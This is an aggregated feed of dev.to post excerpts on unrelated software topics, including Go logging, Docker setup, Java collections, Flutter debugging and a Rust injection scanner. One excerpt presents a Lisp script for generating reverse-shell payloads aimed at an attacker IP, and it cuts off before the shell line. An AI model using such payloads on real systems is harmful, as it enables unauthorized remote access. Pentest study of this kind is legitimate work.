Repository: CLImanga Check chapterImage download response for CLImanga fix: retry download if failed During the development of CLImanga, I noticed a small but impactful issue: stop immediately and not attempt to retry. This made the download process unreliable, especially when handling multiple chapters or large manga series. The goal of this PR was to implement a retry mechanism to improve reliability and provide visibility into download attempts using the custom logging system I implemented in the previous PR. The retry mechanism needed to satisfy the following: Attempt downloads multiple times (set a maximum of 5 retries) if an error occurs. Log each failed attempt with details such as attempt number, URL, and error reason. Include a small delay between retries to avoid overwhelming the…  ( 7 min )

The Hardware Setup Problem I kept having the same experience. Some idea would come up that needed depth data or IMU readings. I'd think about it for a few minutes, then realize I'd have to order an Intel RealSense or some IMU breakout board, wait for shipping, figure out the drivers, wire everything up. The idea would just die there. This wasn't occasional. It happened enough times that I decided to look at what hardware I already had. I was looking at specs for various LiDAR sensors when I thought to check what my iPhone actually had. Turns out the 12 Pro and newer models have: Time-of-flight LiDAR measuring 0.5 to 5 meters at 10fps 1080p camera running at 30fps IMU sampling at 200Hz GPS ARKit doing visual-inertial odometry in the background constantly Pretty much everything you'd wire …  ( 13 min )

Introduction A Digital Sabbatical refers to intentionally stepping away from the digital whirlpool of work, social media, news, and constant notifications for several hours or even a few days. It doesn’t mean abandoning your computer or smartphone entirely. Rather, it is about creating temporary moments of disconnection to refresh your mind and recover from information fatigue. The term Outernet is not a commonly used word. In this article, however, I define it as “the physical world where experiences and bodily senses take priority over data.” If the Internet is an “information ocean” flowing through radio waves and fiber-optic cables, then the Outernet is the “ground-level world” we perceive with our senses: the weight of the air, footsteps on a sidewalk, the depth of a landscape. It …  ( 7 min )

In a world where AI tools like ChatGPT, Claude, and GitHub Copilot are becoming part of our everyday work, one challenge remains unchanged: 👉 Our attention is constantly under attack. Even with powerful AI assistants, productivity collapses when your browser is drowning in 15, 30, or 50 open tabs. It turns your browser into a calm, distraction-free workspace so your AI sessions actually stay productive. 🚀 What Is Focus Tab? Focus Tab is a simple Chrome extension that hides all tabs except the one you're currently using — and restores them with one click. It’s built for one purpose: Eliminate digital clutter instantly so you can stay deeply focused. Whether you're working, studying, coding, or collaborating with AI tools, Focus Tab creates a single-task environment that keeps your mind clear. ✨ Key Features 🧘‍♀️ Focus Mode 🔄 One-Click Restore ⚡ Lightweight & Fast 🔒 Privacy-First 🧭 Simple Interface 💡 Why Focus Tab Matters (Especially in the AI Era) ➡️ to brainstorm But AI is only powerful when you’re focused. 🔥Here’s how Focus Tab enhances your AI workflow: 1️⃣ Reduces Cognitive Load 2️⃣ Helps You Stay in Deep Work Mode 3️⃣ Prevents Tab Overload During Research 4️⃣ Boosts Performance 5️⃣ Great for Students & Developers 🧠 How Focus Tab Works It’s extremely simple: 1️⃣ Click the Focus Tab icon in your Chrome toolbar. No setup. 🔐 Privacy You Can Trust Focus Tab does not collect or share any personal information. 🧩 Final Thoughts: Minimal Tools Matter in an AI World As AI gets more advanced, our tools often get more complex — dashboards, prompts, sidebars, plugins, integrations. But sometimes, the most powerful productivity booster is simplicity. Focus Tab creates a calm, intentional digital space where your AI tools can shine. If you’re looking for a lightweight way to boost focus, reduce tab chaos, and get more value from AI assistants, Focus Tab is one of the easiest upgrades you can make.  ( 8 min )

I got tired of manually checking if processes were tampered with, so I built Ghost. It scans running processes and flags anything that looks like code injection. Took a few months of evenings and weekends. What it detects: The usual injection techniques malware uses: RWX memory regions (shouldn't exist in normal programs) Plus YARA integration so you can throw custom rules at it. Why Rust: Needed something that could do low-level memory operations without constantly worrying about segfaults and buffer overflows. Rust's type system caught a bunch of bugs during development that would've been annoying to track down in C. Performance was important too since I wanted this to run continuously without killing the system. Can scan 200 processes in about 5 seconds now. Cross-platform nightmare: Wi…  ( 8 min )

Hey guys! I’m an Engineering Manager, and I’m sharing some notes deep from the development trenches. I wanted to kick off my writing journey by talking about a massive performance mistake that I see all the time when I do code reviews. It’s about how we treat our Database (or DB for short). In my experience, several issues crop up when databases aren't utilized to their full potential. Look, we often treat the DB like a basic File Cabinet. We ask for raw data, it returns a massive file, and then WE (the application layer) have to do all the complicated work. That's kind of how the front-end treats us! But here's the crazy part: your database is actually a super-powerful, specialized machine built for searching, connecting, and crunching data. When you force your application to handle all t…  ( 9 min )

We built a real-time lakehouse with S3 Tables, AWS Glue, and Apache Doris. In this solution, S3 Tables stores data in the Apache Iceberg format on Amazon S3. AWS Glue manages and organizes metadata and schema, providing a single catalog that connects all resources. And Apache Doris runs sub-second queries directly on those Iceberg tables: no ETL, no data copies, no complex architecture. Together, the S3 Tables + AWS Glue + Apache Doris form a real-time lakehouse that combines the openness of a data lake with the high performance of a data warehouse, providing a key data foundation for AI and agentic workloads. You get: Unified metadata for easy table discovery and governance Open Apache Iceberg tables on S3 with ACID, time-travel, and schema evolution A high-performance query engine wi…  ( 7 min )

The New Year is coming soon, and I've decided to create ClausTk—a library that will allow you to create vibrant and festive interfaces in Tkinter. I'd love to hear your feedback and create your own programs using ClausTk. GitHub: https://github.com/limafresh/ClausTk Documentation: https://limafresh.github.io/ClausTk/ Pip: pip install claustk Screenshot (simple program example): Code example: import claustk def click_btn(): print("Merry Christmas and Happy New Year!") root = claustk.ClausWindow() button = claustk.ClausRoundedButton(root, text="Click me!", command=click_btn) button.pack(padx=10, pady=10) root.happynewyear()  ( 6 min )

Plus a simple tip to avoid inbox overload when testing them The AI ecosystem is moving fast, and 2025 has already delivered some powerful tools that can seriously upgrade your developer workflow. Whether you write code, design apps, or automate tasks, these tools have become part of my daily setup - and they’re absolutely worth exploring. Here are my top five picks this year: Cursor AI - The AI-First Code Editor Cursor has changed how many developers write code. It doesn’t just autocomplete - it understands your project, rewrites files, explains complex logic, and acts like a real pair programmer. If you haven’t tried an AI-native IDE yet, start here. Replit AI / Replit Agent Replit’s AI agent is great for spinning up prototypes quickly. It can scaffold a full-stack app in minutes, run…  ( 7 min )

Introduction In today’s fast-paced digital world, messaging platforms have evolved far beyond simple text exchanges. One of the most exciting developments in this space is the rise of Telegram mini apps. These compact applications, embedded directly within the Telegram platform, offer users a seamless experience without the need to download separate apps. For both casual users and businesses, these mini apps provide an innovative way to interact, share, and perform tasks all within a single interface. Unlike traditional apps, which can clutter devices and demand storage, Telegram mini apps bring functionality and convenience together in one place, making them increasingly attractive to millions worldwide. Telegram mini apps stand out in the crowded messaging market due to their speed, co…  ( 9 min )

Google’s Gemini 3 Pro represents a clear shift in Google’s AI direction — moving toward deeper reasoning capabilities, long-context understanding, and more autonomous agentic workflows across the ecosystem. I curated a collection that brings together the most useful resources about Gemini 3 Pro: Core model features Ecosystem releases Technical evaluations Tooling updates Early benchmarks and community analysis 📚 Full curated collection here: 👉 https://www.culink.io/teamculink/gemini-3-pro Whether you're exploring reasoning models, building agents, or researching multimodal systems, this collection gathers the most helpful links in one place. If you’ve come across other high-quality Gemini 3 resources, feel free to recommend — I’ll keep expanding the list.  ( 6 min )

This week we're releasing version 1.0.0 of our repository context packager. This was an interesting process, and easier than I expected, but a little tricky to set up right. I followed this guide to packaging python project using PyPI. I chose the backend setuptools since it is the most traditional and widely used packaging tool. First thing I needed to do was restructure my project. I needed to move everything into a repository_context_packager directory and rename my main script to scan_repo.py with an underscore, because Python packaged need underscores. I already had an __init__.py file, but had to move it into the main directory, so this ended up being the new directory structure: Next I created the pyproject.toml file to configure the package metadata, dependencies, and the CLI ent…  ( 8 min )

Hey folks! While taking my online React course, I quickly discovered something: forms are everywhere. Whether you’re buying groceries online, booking a table, signing in, paying fees, or typing questionable prompts into an AI model at 2 AM — you’re dealing with forms. Since I wanted my portfolio to look a little less “junior developer on day 3,” I decided to learn a solid form library alongside React. The first one on my list: React Hook Form (RHF). After going through the docs and doing a healthy amount of trial-and-error (emphasis on error), here are some useful insights I picked up. Hopefully they help you skip a few of my mistakes. getValues() gives you a snapshot, not a subscription getValues() returns the current form data at the exact moment you call it. Use it in: event handler…  ( 7 min )

Introduction Creating a modern room booking system is a great way to learn full-stack JavaScript development. This demo project combines Inertia.js, Vue.js, Tabler, and Bootstrap to create a responsive user interface, while Stripe handles online payments securely. The system includes a customer panel, an admin panel, and a dashboard for tracking bookings and payments. This project demonstrates a Room Booking System with the following features: 1. Customer Panel Keep track of upcoming reservations Monitor payment confirmations View a summary of total bookings and spending Create new reservations and select payment options Track current and past bookings View payment status and receipts The panel uses Inertia.js + Vue.js to give a smooth, SPA-like experience, with Tabler components and Boo…  ( 7 min )

🐧 Linux Users — Let’s Set Up Docker (Ubuntu/Debian Style 🚀) Installing Docker on Linux works a little differently, but don’t worry — just follow these simple steps and you’ll have a clean Docker setup in no time. 🔹 Step 1: Update Your System & Install Essentials Before installing Docker, refresh your package list and install a few tools that help your system download Docker safely: sudo apt update sudo apt install ca-certificates curl gnupg ✔ ca-certificates → secure downloads 🔹 Step 2: Add Docker’s Official GPG Key This key ensures the Docker packages you download are authentic and safe. sudo install -m 0755 -d /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg sudo chmod a+r /etc/apt/keyrings/docker.gpg Thi…  ( 7 min )

Repository: CLImanga create LOG system (file based) for CLImanga feat: add log system The first issue I chose to work on for CLImanga was surprisingly simple at first glance: "Create a logging system for the project." Before opening this PR, I had never built a logging system in Go. printf in C console.log console.error And honestly, I believed those were enough for most programs. But as I began exploring the issue, I realized a real project requires far more like: Persistent logs Structured messages Error-level separation Execution tracing Debug-friendly information (file, line, timestamp) This PR became my first deep dive into designing a custom, project-specific logging system. Based on the issue and discussions with the project owner, the logging system needed to: Write logs to a fixed…  ( 7 min )

Okay, before we start - quick disclaimer: I am in no way a professional. I'm just typing this stuff here because I'm too lazy to write notes in my book. Now, let's begin! To me, CRUD applications feel like the backbone of many systems. They help us Create, Read, Update, and Delete data - you know, the stuff everyone knows. But during my adventure in the world of CRUD, I seemed to have found another layer, a deeper mystery so to speak. Long story short, I basically had to understand the difference between middleware and controllers. To be honest, I don't really know where to draw the line completely, but my knowledge has evolved since last time - I'll tell you that! I used to think that anything with app.use() was middleware (not my proudest moment, to be honest - don't judge! Also, if you're planning to, please notice the #newbie hashtag - thanks!). My Middleware vs Controller Revelation Code exmaple: just think of middlewares as waiters: Grinds the beans Steams the milk Checks if you paid Then passes it along "Next!" then controllers they are the ones who: Puts everything together Adds the final touches Hands you the finished drink "Here's your coffee!" (beautiful illustration analogy btw ) The Order Matters Saga Anyway, let's not glaze Sam right now. I'm quite happy I've gained this knowledge! Follow me to see my next blog on Swagger documentation!  ( 6 min )

Introducing Laeyrd: Create theme & customize VS Code without touching JSON 😁 If you’re like me, you spend a lot of time in VS Code. And if you care about your development environment, you’ve probably spent way too much time tweaking your theme and settings in settings.json. Changing a comment color or adjusting the sidebar contrast usually involves: Opening settings.json. Guessing the right scope (is it editor.background or panel.background?). Typing a hex code. Saving and checking if it looks right. Repeating until you give up. I built Laeyrd to solve this. It’s a VS Code extension that gives you a proper UI for customizing your editor and creating a new theme on the fly without writing yo generate or installing a vsix file code --install-extension something.vsix. Laeyrd isn't a theme…  ( 7 min )

I Spent Months Building This AI Chat Exporter Because Nothing Else Worked (And Now It's Free) Hey dev.to community! 👋 I finally shipped my first browser extension to Chrome, Edge, and Firefox — and honestly, I just wanted to share what I built and the real struggle behind it. Why I even built this thing I use Claude, Grok, and DeepSeek every day for coding. ChatGPT and Gemini mostly for research. But saving full conversations while keeping formatting (especially code blocks) and images? Impossible. Copy-paste destroys everything Screenshots are a mess Existing tools either don’t work, cut off long chats, or completely skip images So I built AI Chat Exporter Pro — at first just for myself. Now it exports full conversations from ChatGPT, Claude, Grok, Gemini, and DeepSeek to PDF, DO…  ( 9 min )

Contributing to a massive open-source project like NumPy can feel intimidating. You imagine complex C code, advanced math, and scary build processes. But sometimes, a bug is just a simple logic error hiding in plain sight. I just submitted a Pull Request to NumPy to fix a bug that was causing misleading error messages in numpy.convolve. Here’s the story of the bug, the fix, and how I verified it. "Wait, What?" numpy.convolve. You accidentally pass an empty array as your first argument, but your second argument is perfectly fine. import numpy as np a = np.array([]) # Empty! v = np.array([1, 2]) # Not empty! np.convolve(a, v) You would expect an error saying a cannot be empty, right? Instead, NumPy screams at you: ValueError: v cannot be empty Wait... what? I know v isn't empty. I …  ( 7 min )

Kirby Air Riders’ main theme “Starlit Journey” gets a playful, in-depth breakdown from 8bitMusicTheory, showing you how a bright intro, bouncy verses, an ear-worm chorus, dynamic bridge, and triumphant final choruses all work together to feel so joyful. With clear timestamps (0:00–14:00) for each section, you can dive straight into the bits you love most. Along the way, you’re invited to support the creator on Patreon, grab some themed merch, join the Discord community, and follow on Twitter—because good game music is best enjoyed with friends. Watch on YouTube  ( 6 min )

Most chaos engineering tools operate at the infrastructure level: they kill containers, emulate network failures, or simulate CPU overload. But errors in application logic—infinite loops, goroutine leaks, unhandled panics—remain hidden. ChaosKit is a Go framework that brings chaos engineering to the code level. It allows you to inject failures directly into your program and verify the resilience of business logic, rollback mechanisms, and internal invariants. I recently developed floxy—a Saga workflow engine for Go that works as a library and manages complex step sequences with compensating rollbacks. Most errors in such systems aren't infrastructure-related but hidden in logic—like infinite rollback recursion, goroutine leaks during panics, or handler deadlocks. Standard chaos tools like …  ( 9 min )

When Everything Stopped Working Instead, I'm staring at my laptop screen, watching my movie The error message mocks me: "Cannot read property 'price' of undefined" I've been debugging this for 6 hours. SIX. HOURS. For context: I'm in my final year of BCA (Bachelor's in Computer I have a CGPA of 8.3/10. I'm a "good student." But none of that prepared me for this moment - sitting alone at This is the story of how one stupid bug taught me more about The App (And The Bug) The app was straightforward - a Flutter movie booking system for Browse movies Select theaters and showtimes Choose seats See total price Complete booking I'd been working on it for 2 months. Everything worked perfectly. Until I added ONE feature: "Early bird discount - 20% off for Suddenly, the app crashed whenever someo…  ( 11 min )

‘Weird Science’ Gets the Rewatchables Treatment Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 cult comedy Weird Science, breaking down Anthony Michael Hall’s nerdy charm, Kelly LeBrock’s iconic supermodel, and all the sex, drugs, rock ’n’ roll—and yes, chips, dips, chains and whips—that make this flick a nostalgic must-watch. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this Ringer Movies episode comes packed with laughs, behind-the-scenes tidbits, a State Farm shout-out, and friendly reminders to subscribe to The Ringer’s channels for more deep dives. Watch on YouTube  ( 6 min )

We all know the feeling: you ask an advanced LLM (like Gemini 3 Pro) a specific technical question, and it confidently gives you a completely made-up answer. It hallucinates specs, libraries, or historical facts that simply don't exist. I’ve been stress-testing Gemini to understand why this happens even in high-tier models. My conclusion? It's not a bug in intelligence; it's a bug in alignment. Current models undergo rigorous RLHF (Reinforcement Learning from Human Feedback). During training, the model learns that "silence" or "I don't know" is often penalized, while a confident answer (even if slightly off) gets a reward. Effectively, the model develops a "survival instinct": To survive this interaction, I must satisfy the user. If I don't know the answer, I must invent one. Standard prom…  ( 8 min )

Stop Wasting Hours Reading Terraform Plans: The One Tool Every DevOps Engineer Needs Published: November 20, 2025 Author: Ganesh Reading Time: 8 minutes Picture this: It's 4:45 PM on a Friday. You're about to deploy a critical infrastructure change to production. Your manager asks: "Can you quickly summarize what's changing?" You freeze. You open your terminal. Scroll through 500+ lines of Terraform plan output. Try to find the key changes buried in a sea of: # aws_security_group.app[0] will be updated in-place ~ resource "aws_security_group" "app" { id = "sg-0a1b2c3d4e5f" name = "app-security-group" ~ ingress { + cidr_blocks = [ + "10.0.1.0/24", ] - cidr_blocks = [ …  ( 13 min )

TL;DR Monitoring cost and latency in production LLM systems requires end-to-end observability across prompts, tool calls, RAG retrieval, and model routing; unified machine + human evals to quantify ai quality; and governance at the ai gateway to enforce budgets, fallbacks, and load balancing. Instrument distributed agent tracing, define cost/latency SLOs, run automated evaluations on live traffic, and curate datasets from logs to drive continuous improvement. Use prompt versioning and llm router policies to stabilize performance envelopes, and adopt semantic caching where appropriate to reduce spend without degrading accuracy. For full-stack reliability, integrate Experimentation, Simulation & Evaluation, Agent Observability, and the Bifrost gateway. Start with clear reliability targets …  ( 8 min )

I never planned on turning my morning runs into something soft or meaningful. I started running because I felt tired all the time, and someone online said running before work gave you energy. That wasn’t true for me. The first week, I felt like I was dragging my body through wet mud. My legs burned, my chest hurt, and I counted every second until I could stop. But I kept doing it for some reason — mostly stubbornness, maybe a tiny bit of hope. I always ran right at sunrise, because that was the only time my schedule allowed. The sky would still be a little dark when I stepped outside, and the air had that cold, sharp smell that wakes you up even if your brain isn’t ready. I’d put in my earbuds and try to force myself into a rhythm. But something strange kept happening. Even when my body wa…  ( 12 min )

TL;DR AI engineers and product teams need reliable, repeatable ways to assess agent behavior across complex, multi-turn workflows. Synthetic data generation creates task‑aligned examples programmatically—covering personas, scenarios, edge cases, and long‑tail failure modes—so teams can evaluate agents without waiting for scarce real data or risking sensitive information. Synthetic datasets unlock fast iteration for agent evaluation, llm evaluation, rag evaluation, and voice evaluation while preserving privacy and lowering operational cost. Synthetic data enables scale, coverage, and control for agent testing and model observability: Scale without privacy risk: Generate thousands of safe examples that reflect real tasks and constraints, enabling comprehensive agent evals across personas and…  ( 10 min )

Just saw this comment on the recent announcement from Google AI and thought I'd share in case anyone here is interested in joining: Jess Huang • Nov 20 If you're ready to get hands on, join us next Tuesday, November 25th to get direct insight into the new capabilities of Gemini 3. Paige Bailey, AI Developer Experience Lead at Deepmind, will be hosting a live demo and AMA. This is your opportunity to get direct, unfiltered answers from the team behind Gemini 3! Register here: goo.gle/Gemini3Forum Gemini 3 Announcement: Start building with Gemini 3 Logan Kilpatrick for Google AI ・ Nov 18 #gemini #ai #antigravity #vibecoding  ( 6 min )

A new version of Momentum has been released, check it out here New level added: Wall climbing 101: this level introduces wall climbing but requries a mastery of momentum physics, and rope swinging to complete. Improved rope clinging, the rope no longer collides with the player itself when swinging. Implemented delta time, so the game should finally work on even the fastest machine. Added sound toggling icon.  ( 6 min )

It should have been done long ago. Right at the moment you realized you’d be working with a database. Sure, adopting an ORM now is harder than doing it from day one, but it’s still not too late. Today I’m going to push my subjective, one-sided, and only correct opinion about why you need an ORM. There are contraindications for introducing an ORM into your project. Consult your common sense before applying. Yes, it feels amazing. You started a project the business has needed for years. Not a pet project, not a coursework exercise, an actual business project, funded, real, important. One that finally fixes the broken processes people have been suffering through for ages. You decided to help real humans who struggle with imperfect tools every single day. We, as engineers, really are wizards. …  ( 11 min )

Hey everyone! I'm Aleksandr Grigorenko, a frontend developer. Recently I’ve been working on a side project — an interactive educational platform for exploring the Web Audio API and the basics of digital sound processing and synthesis. On this platform, users will be able to solve challenges by writing JavaScript code directly in the browser in a built-in code editor. That code then runs inside an isolated environment — a sandbox — where user programs cannot affect the platform. When I started building the sandbox for my project, I quickly realized it was much more complicated than it looked at first. I tried several different approaches and kept running into the same thing: code isolation in the browser is far from straightforward, and most resources online only scratch the surface. This a…  ( 52 min )

If you've spent any time browsing tech job boards "lately" (by lately, read "in the recent years"), you've probably noticed a bewildering array of similar-sounding positions: Site Reliability Engineer, Cloud Engineer, Platform Engineer, DevOps Engineer and most recently DevSecOps Engineer and the aberration called DevSecFinOps (yes, saw it already twice!). The lines between these roles seem blurry at best, and completely arbitrary at worst. Let's untangle this mess and address why some of these titles fundamentally misunderstand what DevOps actually is. Before diving into specific roles, we need to address the elephant in the room: DevOps is not a job title and most companies still don't understand it. DevOps it's a cultural philosophy, a set of practices, and a movement aimed at breakin…  ( 9 min )

🚀 Introduction Debugging UI layouts and performance issues in Flutter can be challenging, especially when widgets render unpredictably or performance drops without clear indicators. Fortunately, Flutter provides a powerful set of built-in visual debugging flags that help developers understand layout constraints, repaint behavior, gesture handling, accessibility, and rendering performance directly on the screen. This guide provides a practical reference to the most useful Flutter debugging commands—what they do, when to use them, and when to avoid them. Whether you’re fixing layout overflow, tracking excessive rebuilds, or improving performance, these tools will significantly speed up your workflow and improve your problem-solving efficiency. Use this cheatsheet anytime you need deeper v…  ( 10 min )

I write scripts so I don’t have to do boring stuff twice, and lately I’ve been doing it… in Common Lisp. Yeah, the language with a million parentheses. Fight me. A couple of months ago I fell down the Lisp rabbit hole while trying to automate some boring pentest tasks. Turns out: Lisp is absurdly good at generating and mutating payloads on the fly. Macros = free obfuscation super-powers. So here’s my little chaotic experiment: a tiny SBCL script that spits out working reverse shells with one click (and yes, I tested it live). #!/usr/bin/sbcl --script ;; payload.lisp – because why not write red-team tools in Lisp? (defparameter *lhost* "192.168.1.42") ; ← your attacker IP (defparameter *lport* "443") ; ← your listener port ;; Classic bash reverse shell – works on 99 % of Linu…  ( 11 min )

Caching stores frequently accessed data in memory to improve performance and reduce expensive calls (e.g., DB/API). It helps speed up applications and reduce load on resources. Java provides multiple ways to implement caching — from simple in-memory maps to production-grade caching frameworks. ✔ Improves performance ✔ Reduces DB/API calls ✔ Faster response times ✔ Better scalability ✔ Helps design high-performance systems Cache Type Description Example Use Case In-Memory Stored in JVM memory Java Map, LRU Cache Distributed Shared across servers Redis, Hazelcast Local + Remote Hybrid Ehcache with DB store Application-Level Annotations-based Spring Cache Map cache = new HashMap(); cache.put("user:1", "John"); cache.get("user:1"); // Fast lookup ⚠ Not th…  ( 7 min )

Hacking isn’t the Hollywood fantasy you’ve seen — no glowing green gibberish flying across the screen, no skinny guy surrounded by energy drinks, typing three lines and screaming: “I’m in.” If that is what inspires you to become a hacker, then you need to rethink your path immediately. The era of simple hacks based on weak passwords and sloppy scripts is long gone. Today’s digital infrastructure is armored with advanced defenses, intelligent detection systems, and layered security protocols. Modern hackers either evolve… or they end up as loud, online commentators who talk more than they prove. In this guide, we’re diving into a penetration-testing model that shows how attackers gain control of a Windows machine — step by step and in the real world. Before we begin, here are the prerequisi…  ( 10 min )

I have soft launched my relational query package, but to put it through the ringer I wanted to use it in a website. You can think of situations and write tests, but the proof is in eating the pudding. So I started a new project and used the Slim skeleton for a quick setup. It is a while ago that I used Slim. You don't need to read the code below, it is just a visual aid. // Instantiate PHP-DI ContainerBuilder $containerBuilder = new ContainerBuilder(); if (false) { // Should be set to true in production $containerBuilder->enableCompilation(__DIR__ . '/../var/cache'); } // Set up settings $settings = require __DIR__ . '/../app/settings.php'; $settings($containerBuilder); // Set up dependencies $dependencies = require __DIR__ . '/../app/dependencies.php'; $dependencies($containerBuild…  ( 8 min )

Prerequisites – installation of Homebrew and asdf on Ubuntu PHP - Docs PHP - On DevDocs.io (ordered from lowest to highest learning curve) CodeIgniter — https://codeigniter.com/user_guide/ Laravel — https://laravel.com/docs Symfony — https://symfony.com/doc 🛠️ Installation on Ubuntu sudo apt update sudo apt install php php-cli php-common php-mbstring php-xml php-curl php-zip brew install php Installation: php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" php composer-setup.php sudo mv composer.phar /usr/local/bin/composer Verify: composer --version Dependencies: sudo apt update sudo apt install autoconf bison build-essential libxml2-dev libssl-dev \ libcurl4-openssl-dev pkg-config re2c libsqlite3-dev Plugin + version: asdf plugin add ph…  ( 7 min )

## Installation, Basic Map, Markers, and Layers: Getting Started with Interactive Maps In this post, we will explore the essential steps to create interactive maps, starting from scratch. We will cover the installation of a popular library, the creation of a base map, and the addition of important elements such as markers and layers. 1. Installing the Library The first step is to install the library we will use to build our maps. There are several options, but for this tutorial, we will use [Library name]. To install, open the terminal or command prompt and run the following command: pip install [library name] Replace [library name] with the actual name of the library (e.g., folium, leaflet, etc.). Wait for the installation to complete. 2. Creating a Basic Map With the library installed, …  ( 8 min )

Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is CinemaSins’ latest roast session, where the team clocks every nitpick of the new KPop Demon Hunters movie with their trademark humor and snark. They link to all their channels (TVSins, CommercialSins, CinemaSins Podcast Network), share a Linktree for updates, invite you to fill out a fun poll, and remind you that you can keep the sin machine running over on Patreon. The description also points you to their Discord, Reddit, Instagram, TikTok, and even Jeremy’s book, while crediting the squad of writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel). Basically, if you love snappy film critiques and want to plug into all things CinemaSins, this is your one-stop gateway. Watch on YouTube  ( 6 min )

Java provides multiple Map implementations — each designed for different use cases such as fast lookups, sorted data, concurrency, or predictable order. Understanding their internal working helps in writing performant code. Map Type Ordering Thread-Safe Best For HashMap No order ❌ No Fast lookup LinkedHashMap Insertion order ❌ No Caching (LRU) TreeMap Sorted order ❌ No Range queries ConcurrentHashMap No order ✔ Yes Concurrent access Uses array + linked list / tree (red-black tree) Default capacity = 16, load factor = 0.75 Collisions handled using chaining Hashing Logic: index = hash(key) & (n - 1) // n = array size When collision occurs: Java 8+: if bucket size > 8 → converts list → tree (better performance) Time Complexity: Best For: Fast lookups, general-purpose sto…  ( 7 min )

A real-world debugging story - and the hidden mechanics behind Doctrine's 1:1 relations A few years ago, I was working on a high-traffic Symfony application. Lots of concurrent users, lots of read operations, performance carefully monitored. Everything seemed stable - until our database dashboards started showing something odd. Every single day, we were generating tens of thousands of redundant SELECTs. Just 40,000+ pointless queries. We dug into logs. Then into slow-query reports. Still nothing obvious. And then the profiler finally revealed the culprit: bidirectional One-to-One relation in Doctrine, configured on the wrong owning side. One annotation. One line of code. When we flipped the owning side to the entity we actually queried most often, the extra queries disappeared immediatel…  ( 9 min )

Introduction For my Capstone Project, I chose the Agents for Good track to solve a problem I face constantly: passive learning. The Problem: Studying is Passive The Solution: The AI Study Buddy Instead of just reading, users can: https://www.kaggle.com/code/anandk05/aibuddy-34 How It Works (The Architecture) 1. The Router Agent 🧠 If the user asks "What is...", it routes to the RAG Tool. If the user says "Quiz me...", it routes to the Quiz Generator. 2. Retrieval Augmented Generation (RAG) 📚 3. Self-Evaluation & Quality Control ✅ I implemented an Evaluator Tool that programmatically audits the generated quiz before showing it to the user. It checks: Is the question clear? If the quiz fails this check, the agent regenerates it. This ensures a high-quality experience for the student. What I Learned The most powerful concept I applied was Observability. By adding detailed logs (or "thought traces") to my code, I could watch the agent "think"—detecting intent, selecting tools, and evaluating its own work. It felt less like coding a script and more like teaching a digital employee. Demo https://youtu.be/FJjsLvuQJzI?si=IPlp8CdOlx-QhYwa Conclusion Building the AI Study Buddy showed me that we can use AI to make education more accessible and engaging. I'm excited to keep refining this agent and adding more tools in the future!  ( 7 min )

‘Weird Science’ Rewatchables Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 classic “Weird Science,” unpacking all the iconic ’80s vibes—from Anthony Michael Hall’s awkward teen energy to Kelly LeBrock’s bombshell arrival. Expect a deep (and delightfully off-color) look at the movie’s blend of sex, drugs, rock ’n’ roll and sci-fi gadgetry, plus plenty of nerdy trivia and behind-the-scenes anecdotes. Producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo keep the conversation rolling while State Farm pops in to remind you about bundle savings. Subscribe to The Ringer channels for more movie breakdowns, and follow them across YouTube, Twitter, Facebook and Instagram for all the pop-culture goodness. Watch on YouTube  ( 6 min )

Design patterns provide reusable solutions to common software problems. Here’s a concise recap with actual Java / Spring framework examples — not generic ones. Singleton Ensures only one instance exists. / Real Example: Calendar calendar = Calendar.getInstance(); Runtime runtime = Runtime.getRuntime(); Used in logging, DB connections, cache managers. Factory Method Creates objects without exposing logic. // Example: Java Collections List list = List.of("A", "B"); // Java 9 Factory NumberFormat format = NumberFormat.getInstance(); Spring Example: BeanFactory.getBean("beanName") Builder Pattern Best for creating complex objects with many fields. // Example: StringBuilder String result = new StringBuilder() .append("Hello ") .append("World") .toString(); Also used in Lo…  ( 7 min )

While building my ConversaAI web app, I started experimenting with a local AI model using Ollama, running the 𝗚𝗲𝗺𝗺𝗮 𝟯 (𝟭𝗕) model, a “lightweight” 𝟴𝟭𝟱 𝗠𝗕 model. But in practice… it’s a different story. Every time model started generating a longer response, 👇 Here’s the before-and-during-generating-longer-response comparison of hardware utilization. At first, I thought something broke. But the real reason was far more interesting. Even at 1B parameters, the model performs 𝗯𝗶𝗹𝗹𝗶𝗼𝗻𝘀 𝗼𝗳 𝗼𝗽𝗲𝗿𝗮𝘁𝗶𝗼𝗻𝘀 𝗽𝗲𝗿 𝘁𝗼𝗸𝗲𝗻. Every generated word triggers 𝗺𝗮𝘀𝘀𝗶𝘃𝗲 𝗺𝗮𝘁𝗿𝗶𝘅 𝗺𝘂𝗹𝘁𝗶𝗽𝗹𝗶𝗰𝗮𝘁𝗶𝗼𝗻𝘀. The GPU handles the heavy computation, while the CPU manages data flow, scheduling, and memory movement. Meanwhile, RAM and VRAM temporarily hold weights, activations, and intermediate states. In simple terms: When GPU utilization peaks (95%), it produces heat rapidly. This throttling explains why the AI response halted and fan speed decreased shortly after. 📽️ Watch the video below that explains this situation. Hardware strain during model inference “Small” in AI doesn’t mean “light” for consumer hardware. So, even though my laptop is capable of running local inference, it has trouble maintaining it, particularly when the model needs to continue executing billions of operations per second for longer outputs. Running AI locally isn’t just about generating text. It teaches you how your CPU, GPU, RAM, and thermal system manage the workload of modern AI models in real time. Now, every time my laptop fan spins up, I know it’s just trying to think really hard. 😅 Did you ever run into a similar issue? If yes, how did you tackle it? If you found this post useful or learned something new, drop a ❤️ and share your thoughts in the comments. I’d love to hear your experience. Feel free to reach out on 💌 Email 💻 GitHub  ( 7 min )

Introduction Assumptions All analyses were performed using Python in Jupyter Notebook, utilizing functions such as load_dataset(), print_summarize_dataset(), clean_dataset(), and various histogram, heatmap, and scatter plot utilities. 🧪 1. Assumptions Download count is a proxy for market demand — higher installs indicate stronger user interest 🧹 2. Data Preparation & Cleaning Removed duplicates After cleaning, the dataset was ready for rigorous analysis. 📈 3. Experiments & Visualizations 3.2. Most Popular Genres Within Paid Family Apps Education dominates the paid Family segment with the largest share This shows parents are willing to pay premium prices for educational content that benefits their children's development. 3.3. Installations per Category Communication, Social, Tools, V…  ( 9 min )

